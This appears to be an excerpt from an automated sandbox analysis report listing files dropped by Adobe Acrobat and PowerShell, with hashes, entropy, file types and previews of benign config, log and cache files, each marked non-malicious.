SHA-256:	2B6CF040A88609553BD3B0181FB5F39AE2DC1862DAAB36DE3731093C83CEDDDF
SHA-512:	4D68024D3B13CD2F3CEB2062E6E7B5F3E5E6D35A675C75B0792523DC80AE2B7310AD86B37E38226DCEAF1533ADDB9FDAD07AD44B693C083388F7908CD288261E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.294769821999623
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJfQ1rPeUkwRe9:YvXKXwAzsdTeOM5GY16Ukee9
MD5:	ACFB11FBA1A1FD93F885FEDD8BA55FFA
SHA1:	350DA9D30F19C3CD3BDDE697FEB6267839252036
SHA-256:	B7A72297FA6CEFB509CDA25B37545AAEEAE1F374334AFBFB44A73E72740D1EA8
SHA-512:	2917B69E0F272D3F6215078EEF5832B606CC579E6E8927D5E6CAE4BA21EDCF76F2232A8F505AA628D970100537ED79FE62BE6308E91F3987169980D8ABCB2B71
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3075964425635735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJfFldPeUkwRe9:YvXKXwAzsdTeOM5Gz8Ukee9
MD5:	A8D49C05F9D905F77B80042FEB1567E4
SHA1:	DC4F752DB404A65BB5A5A115E5494EEF64DA760B
SHA-256:	4BBE9C0D0CE884F2E7352FD73B17973979FA4199C78F2B47CA9C422275637869
SHA-512:	2C5B80261154AC7994177DAC09D715F4F7D6FB00D6E71070A46FCE29090A72567251D0EB5F28E7938B650F58A145914A9A9D4AD5E97F49BF938B7560357A7669
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.316044553820263
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJfzdPeUkwRe9:YvXKXwAzsdTeOM5Gb8Ukee9
MD5:	0C07FBEE596E9D383463B66A82949E63
SHA1:	4959903677DC71E0B89270919ED05DA78168FB96
SHA-256:	14CDC33175944B1661BF3A2D8C4A01033AA91254B932E4D515366B86359FFA2C
SHA-512:	6A715E187301538EAB3739F56E835B95F5576E0FA0F3E15E72256F54139BB29668604FA7075DE9FAA7CC319A3B6768FE7D9D0A624E88EABB550072E1013A8289
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296896866151635
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJfYdPeUkwRe9:YvXKXwAzsdTeOM5Gg8Ukee9
MD5:	D660E410883012A84CA7606BB5E6CEE1
SHA1:	430642F4592E755622BAC2784F6270AE049862EE
SHA-256:	33779CFED3AAE6D4A8E4450B93F45AE85D27323CA9DCFD3A2D6AC7C523024726
SHA-512:	021B8660D269E506A3E0A3C3F4F5921DC2EB65166C30ADDA441E62C3E6F3FA78A222469F41D3E9E0D1C6B334F58A90978C1C3D33E31FFB8857609955E58CB495
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.282892606336332
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJf+dPeUkwRe9:YvXKXwAzsdTeOM5G28Ukee9
MD5:	F54C7EBA01AB1D7A986CD3A2327CEB01
SHA1:	9D2B3446E23B274362B4A92E057E50E429A16798
SHA-256:	3220529F2D1669A8AC5756F909361D544811BA9103308FD6CD492D2FCAA7D222
SHA-512:	8840F68FC4E29827427D085F90409F0FB424DD0163F205CF19477CFC77D28921547C8E777589FFC3CB2529BE74BA040629ED4C895DF8849E5F1B7F8574A30B09
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2804652912059
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJfbPtdPeUkwRe9:YvXKXwAzsdTeOM5GDV8Ukee9
MD5:	45423A8D632B0F720D3B1BBAF868B54B
SHA1:	FE323556BA45D3DB100E2E312EEC34AB06FD8F51
SHA-256:	B0BB5C1AE95159A853D7F7E89F39A07892486B05C858FC7AA96FA3756E36F253
SHA-512:	AE2D22B9A7BA0EF94593FABF12CAF2490E56396EBA0EB56A5F76003BB1BB681F61B9E0AC7023A57F843E0FD75B772B0BF11E862AA85B660AEF908E2F958FE957
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.285369657422537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJf21rPeUkwRe9:YvXKXwAzsdTeOM5G+16Ukee9
MD5:	266DBF41E1D8633B0AAD612B1BDE98C0
SHA1:	9C5612D3D1F57BE8C27429F88F2CEA47455487A4
SHA-256:	BCCB4FC9E8E695AF66C2EDCC75F7BA83BDF651026B6AFDFF0BBEA3D4CC6DB448
SHA-512:	19E0A15F2F9F24EF64D8F379820B81CB238B3407DE3F0453CEE128025FFAA0EE8480AB4B1276D19372E5EBCF96A57C08BF7AC5FE5E2D997B3ADD9C02ED112BE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658278827009475
Encrypted:	false
SSDEEP:	24:Yv6XnzmeOramXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSf:YvjeeBgkDMUJUAh8cvMf
MD5:	D72F15C83C42266D28767B53C03B3B68
SHA1:	2D3C1D5E0393582233873A934552EF47B0E9C3CA
SHA-256:	F454F4FD8D9F65CE52F1737020F2EEDC728061530BA401290377A8501EA4FA7F
SHA-512:	2D3DA1E93B96CDF09582A3B4349E209DD2408CEEE396EFB03B9A0EFD0AE19152BCAEF282241E133F5D11DA5EC9E7B66F92DD37B8B880EDB0F08990FA447B898E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.25883954621602
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJfshHHrPeUkwRe9:YvXKXwAzsdTeOM5GUUUkee9
MD5:	D967DAEB68932E467139774A939F29BB
SHA1:	700FBAEA01367EBCF2375329C2D1FDA84AE01D27
SHA-256:	A5090A2F15EAA7925C6B3C76D724487C37CCCA92A9EB932EF4B599542C769394
SHA-512:	5DD250D12F8DD627356F0D73AA28EA14FEDC9382D5AD1726DACE2BFFB63E187BE20D5010AA4A721E2F25B32541CB71D4DECFE5E46194F9C0745783BC0FC10175
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.27873421363944
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP4Id5MXSKnWsGiIPEeOF0YsKoAvJTqgFCrPeUkwRe9:YvXKXwAzsdTeOM5GTq16Ukee9
MD5:	5CA66C852D961C2B544A4D68BCC4D9D7
SHA1:	578E21969ED976C1E8EFA6F062488364CE61B83C
SHA-256:	6672170A52961906AFCA00152517B27F094054896D9064C4C6D8965AB66A2E4E
SHA-512:	FA4AD3CBC46810F10E0CD6E2465875978834B4152C1A2647AEE085A847C23546605A32D09CEC2C1F7A44A5A036E067BE7D9A918A6870F87B1C7B0B796EC35ACD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d0a59c3-73e4-4a9d-906d-fa84126fd940","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719710334,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.146416463746325
Encrypted:	false
SSDEEP:	24:YdiUyaxHayvDzH8Hvb81Rat1BAWM2djUsj0Svxk/262LSBCnw82A6PNLc5QZ9znX:YdiCuvbB7OL4U+V6D7kw5PNQ697X
MD5:	066C0EFD987440D252D7ABF04C214102
SHA1:	0F619E3B3CFCC354996BA87C2AF0FF39A50F5530
SHA-256:	259FDD7347D71B61AD3D58E5E7C5E470B3261A52EDE5015D4210CA67266BF8C3
SHA-512:	6070ED045841D6CEC1B88B1F94F5505772EF2F978B980D49F247DAD744C9855582626B329986245AE996BA38FBEBB109086192AFBBD8C29A00B1A32DD6FA295F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"49d2dae9d47265bd4bb6601b9d2d1451","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736546535000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"5148fbcc4a875d961fb74ab7060e4cd6","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736546534000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"23b01fdc1d39fd3d2ea689eae05f2138","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736546534000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"028c3048b3d6fa259dc414fe7ebf02ab","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736546534000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"329224f56055010af47b9dad06b08ee7","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736546534000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"fc9c286f5270de60be231c9d88315c2f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4536755140397801
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsalu:lNVmsw3SHtbDbPe0K3+fDZdw
MD5:	40A4A7AC0D745530A07660CEA1A2B7BE
SHA1:	EDC9A1C6ECC647133AA1DB1D9163646843CA4670
SHA-256:	B64B1FA65C94883C889AD77519FA81542671E07CF8FCCBB86F82546B43D33A63
SHA-512:	6BB9F5AD3B9D4311908FC64A47D91E8FD4068BF8E5CED0BCF92CB0AAA1F2B6E0217BFCBDD7DB738272A20D329DBF2EFD8728E3ADE221AC7C44A436E0738A3A24
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9588583532281656
Encrypted:	false
SSDEEP:	48:7MMrvrBd6dHtbGIbPe0K3+fDy2dsDgqFl2GL7msd:7V3SHtbDbPe0K3+fDZd5KVmsd
MD5:	599AAC62CFFE3DCDC43028A5C227F0AF
SHA1:	89372282A38245B89B8ECC0336167814FBDD7798
SHA-256:	097320AF32E5E5DBA8663885F780CB600AEC8CFD91C22E7574C6E566DFDF5962
SHA-512:	20018AE8FE44F7716B7D577B0A5A630AF27EDC3D6864EC6D8AB9BA062C092853284F6BBF9CDBC826C4C2ED7B78E92F621372452F6370E3AF0A0C8765E35CA71E
Malicious:	false
Preview:	.... .c.....=<}.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgHCLD6vQE0wLMiH2XPoVRk3E/fYyu:6a6TZ44ADEHC/64E0wjY3YfK
MD5:	F1FB12FCD3311FB04D1B038587FCDED4
SHA1:	98D0409C006257D078DF3EBD0C7DF35459E9B1D4
SHA-256:	7091EB2ED1AE3097353585914C3657C713C9F44E28E09BDFF9826E4384DDD2FF
SHA-512:	B2BFE87F8CA29DF701FA34BAFCAB4EAFB62E9259A11B15BA5E03CB80C1609B8DACF6C77A65EB1BEEF001B4BBB04164F64768E25401185442A299F5E3F94AF645
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulhvnXz:NllU
MD5:	13A5F687991893CCDFE198EC677D17AF
SHA1:	542384358389E50E487BF95100E71B5CB40A8634
SHA-256:	DCFE651EDD144DC36D9D358195D17E80FAEA258EF4146AD5C91F83B4BDA00B77
SHA-512:	55CCC7DA45C19540A299912461AC492D1F078C4275A56DF6028FF10FEE0E78017A7012C155366465825959B33F5F668677DFD47B034E0924943BC597FD0F1D3A
Malicious:	false
Preview:	@...e...................................8............@..........

C:\Users\user\AppData\Local\Temp\MSI9ba03.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErlR:Qw946cPbiOxDlbYnuRK+bDxR
MD5:	250A86CA2DD9F66E494383BC524C47D2
SHA1:	666C798871A06170DAEC8D17619AA5A320829B73
SHA-256:	73DBC32287018268E03BBDDC13BEC5F5D347898F8DFAD3A5DC47579C265A8898
SHA-512:	0F174F01123A6603880E15D7DA64F1853CC2C2711E7DEC75AE525E48F4D0E0848D13C786910043F7D24ABB919AAB3BF269146DE84490901A1DC72C554C021521
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.0.2.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjtpenwe.q4q.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p52scq0z.yhr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-02-08-469.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.350292332050016
Encrypted:	false
SSDEEP:	384:kMw9U9Z9s9Q9d9ep9Z9q96SPSxSQSJGSEQKx3xBxXmpmoXoXnXsX2PLtLFLj5P5+:kZ67KKfcpbooUq36GNL9Xl0pYX8aBR3a
MD5:	D2DCDB7B75411C3E5560BA1D9A187C64
SHA1:	F88275B5423B718474E1C280A858686142C14824
SHA-256:	9433FDA6898CB60968EC1A863CC31BC8153641F45E7E527885B47CDD8CDBDF78
SHA-512:	D9B97468141729CC27F2DFE162D0CC1F27C7621E86819F60918CDD64364A313D197A3A93B91E8A15B4CA1BC83EF390717CDABF9CB80F8C6C1782BBC638F9925B
Malicious:	false
Preview:	SessionID=a2006ee8-5fe7-4c51-9fb1-2128d3993d61.1736546528490 Timestamp=2025-01-10T17:02:08:490-0500 ThreadID=7512 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a2006ee8-5fe7-4c51-9fb1-2128d3993d61.1736546528490 Timestamp=2025-01-10T17:02:08:491-0500 ThreadID=7512 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a2006ee8-5fe7-4c51-9fb1-2128d3993d61.1736546528490 Timestamp=2025-01-10T17:02:08:491-0500 ThreadID=7512 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a2006ee8-5fe7-4c51-9fb1-2128d3993d61.1736546528490 Timestamp=2025-01-10T17:02:08:491-0500 ThreadID=7512 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a2006ee8-5fe7-4c51-9fb1-2128d3993d61.1736546528490 Timestamp=2025-01-10T17:02:08:491-0500 ThreadID=7512 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.404628699778528
Encrypted:	false
